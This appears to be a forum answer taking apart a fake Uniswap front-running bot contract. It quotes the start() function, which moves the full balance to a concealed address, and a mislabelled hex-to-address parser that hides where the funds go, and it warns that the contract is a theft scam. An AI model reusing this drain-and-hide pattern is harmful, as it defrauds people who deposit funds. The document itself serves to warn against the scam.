If you check the start function, it transfers all the balance of the account to another contract address:

    function start() public payable { 
        emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }

Also, this function parseMemoryPool looks suspicious:

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

The docs on it say that it's doing one thing and will return a bool, but it's something else and returning an address. Probably a malicious address hidden in this weird logic to confuse inexperienced people?

So, it seems this may be an attack to steal your funds.
